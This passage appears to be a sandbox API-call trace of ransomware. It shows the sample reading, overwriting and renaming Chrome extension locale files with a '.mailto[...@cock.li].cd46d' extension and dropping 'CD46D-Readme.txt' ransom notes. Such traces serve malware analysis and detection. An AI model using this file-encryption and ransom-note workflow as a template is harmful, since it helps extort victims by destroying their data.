lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x38afacc*=0x6fd, lpOverlapped=0x0) returned 1 [0202.017] CloseHandle (hObject=0xf24) returned 1 [0202.025] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6af8) returned 1 [0202.025] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499ed8) returned 1 Thread: id = 8468 os_tid = 0x1b78 [0194.258] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json")) returned 0x2020 [0194.840] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0199.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17fc [0199.529] GetFileSizeEx (in: hFile=0x17fc, lpFileSize=0x356fdcc | out: lpFileSize=0x356fdcc*=225) returned 1 [0199.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c88 [0199.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af410 [0199.529] NtQuerySystemTime (in: CurrentTime=0x356fd2c | out: CurrentTime=0x356fd2c*=132174899741254000) returned 0x0 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x509ad1ab [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x443fdad7 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x551d41b2 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x46e02a18 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x54538f3e [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x79fb1c8f [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0xc338d25 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x11e27c32 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x3cba1f9f [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x4583eb61 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x222bb9bc [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x22a53371 [0199.529] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x38ec49e3 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x549825c0 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x232203cc [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x79c665a [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x4db66046 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0xbe06f17 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0xfdf4f05 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x75336c37 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x4ac815fe [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x74ca8d28 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x3cc71a88 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x673214fe [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0xd4d5838 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x5758a723 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x3515a682 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x220432d4 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x2c3a7439 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x49c212e3 [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x394ed5ca [0199.530] RtlRandomEx (in: Seed=0x356fd38 | out: Seed=0x356fd38) returned 0x61eb4e68 [0199.752] ReadFile (in: hFile=0x17fc, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x356fd28, lpOverlapped=0x0 | out: lpBuffer=0xd49a048*, lpNumberOfBytesRead=0x356fd28*=0xe1, lpOverlapped=0x0) returned 1 [0199.753] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.753] WriteFile (in: hFile=0x17fc, lpBuffer=0x134e4970*, nNumberOfBytesToWrite=0xe1, lpNumberOfBytesWritten=0x356fd24, lpOverlapped=0x0 | out: lpBuffer=0x134e4970*, lpNumberOfBytesWritten=0x356fd24*=0xe1, lpOverlapped=0x0) returned 1 [0201.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d87b0 [0201.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d87d8 [0201.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d87d8) returned 1 [0201.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e4970) returned 1 [0201.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0201.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb730) returned 1 [0201.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2b78) returned 1 [0201.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928a98 [0201.537] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.537] WriteFile (in: hFile=0x17fc, lpBuffer=0x1338e690*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x356fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1338e690*, lpNumberOfBytesWritten=0x356fd8c*=0x10b, lpOverlapped=0x0) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338e690) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928ac8) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d87d8) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928a98) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d87b0) returned 1 [0201.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c88) returned 1 [0201.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d28) returned 1 [0201.692] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0201.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x942e78 [0201.692] wcscpy (in: _Dest=0x942e78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" [0201.692] wcscat (in: _Dest=0x942e78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.692] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x356fd44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4a6868 [0201.929] FlushFileBuffers (hFile=0x17fc) returned 1 [0201.933] CloseHandle (hObject=0x17fc) returned 1 [0201.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x8fc8d8 [0201.986] wcscpy (in: _Dest=0x8fc8d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\" [0201.986] wcscat (in: _Dest=0x8fc8d8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\CD46D-Readme.txt" [0201.986] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\cd46d-readme.txt")) returned 0xffffffff [0201.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x854 [0202.003] WriteFile (in: hFile=0x854, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x356fd4c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x356fd4c*=0x6fd, lpOverlapped=0x0) returned 1 [0202.011] CloseHandle (hObject=0x854) returned 1 [0202.023] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fc8d8) returned 1 [0202.023] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499da0) returned 1 Thread: id = 8469 os_tid = 0xd3c [0194.259] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json")) returned 0x2020 [0194.841] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json", dwFileAttributes=0x20) returned 1 [0199.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1420 [0199.755] GetFileSizeEx (in: hFile=0x1420, lpFileSize=0x420f9b0 | out: lpFileSize=0x420f9b0*=254) returned 1 [0199.755] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0xfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.755] ReadFile (in: hFile=0x1420, lpBuffer=0x420f934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x420f930, lpOverlapped=0x0 | out: lpBuffer=0x420f934*, lpNumberOfBytesRead=0x420f930*=0x4, lpOverlapped=0x0) returned 1 [0199.756] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c38 [0199.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af410 [0199.756] NtQuerySystemTime (in: CurrentTime=0x420f910 | out: CurrentTime=0x420f910*=132174899743594000) returned 0x0 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x713ea6ee [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x324118f2 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x34246d09 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x1bb46cd7 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x2e8d5fd3 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x319c8b1d [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x7f01a3c0 [0199.756] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0xa4a1ab8 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x121fed5c [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x65115cd6 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x3f16134 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x1d3e6f87 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0xd504e5f [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x13af86eb [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x34ab34d9 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x7b4079e4 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x2cf54a21 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x7483a7b0 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x4cdf6a3 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x50a604c7 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x54c876cd [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x3b2bee47 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x2b1aabc4 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x24b4c5f4 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x270946c8 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x22b73df5 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x6324eecb [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x1059c45e [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x3ebbaef9 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x34977815 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x5c6d9fd4 [0199.757] RtlRandomEx (in: Seed=0x420f91c | out: Seed=0x420f91c) returned 0x21843c76 [0199.770] ReadFile (in: hFile=0x1420, lpBuffer=0x945cf0, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x420f90c, lpOverlapped=0x0 | out: lpBuffer=0x945cf0*, lpNumberOfBytesRead=0x420f90c*=0xfe, lpOverlapped=0x0) returned 1 [0199.770] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.770] WriteFile (in: hFile=0x1420, lpBuffer=0x9524f8*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x420f908, lpOverlapped=0x0 | out: lpBuffer=0x9524f8*, lpNumberOfBytesWritten=0x420f908*=0xfe, lpOverlapped=0x0) returned 1 [0201.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8148 [0201.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8170 [0201.160] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8170) returned 1 [0201.160] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9524f8) returned 1 [0201.161] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945cf0) returned 1 [0201.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa998) returned 1 [0201.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26f8) returned 1 [0201.162] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f69c0 [0201.162] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.162] WriteFile (in: hFile=0x1420, lpBuffer=0x12cf52c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x420f970, lpOverlapped=0x0 | out: lpBuffer=0x12cf52c0*, lpNumberOfBytesWritten=0x420f970*=0x10b, lpOverlapped=0x0) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf52c0) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f69f0) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8170) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f69c0) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8148) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c38) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0201.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0201.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c7a88 [0201.654] wcscpy (in: _Dest=0xd4c7a88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" [0201.654] wcscat (in: _Dest=0xd4c7a88, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.654] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x420f928, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ba8 [0201.842] FlushFileBuffers (hFile=0x1420) returned 1 [0201.851] CloseHandle (hObject=0x1420) returned 1 [0201.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5e08 [0201.936] wcscpy (in: _Dest=0x9b5e08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\" [0201.936] wcscat (in: _Dest=0x9b5e08, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\CD46D-Readme.txt" [0201.936] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\cd46d-readme.txt")) returned 0xffffffff [0201.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.069] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x420f930, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x420f930*=0x6fd, lpOverlapped=0x0) returned 1 [0202.070] CloseHandle (hObject=0x14b8) returned 1 [0202.070] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5e08) returned 1 [0202.070] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499c68) returned 1 Thread: id = 8470 os_tid = 0x180 [0194.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif")) returned 0x20 [0194.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 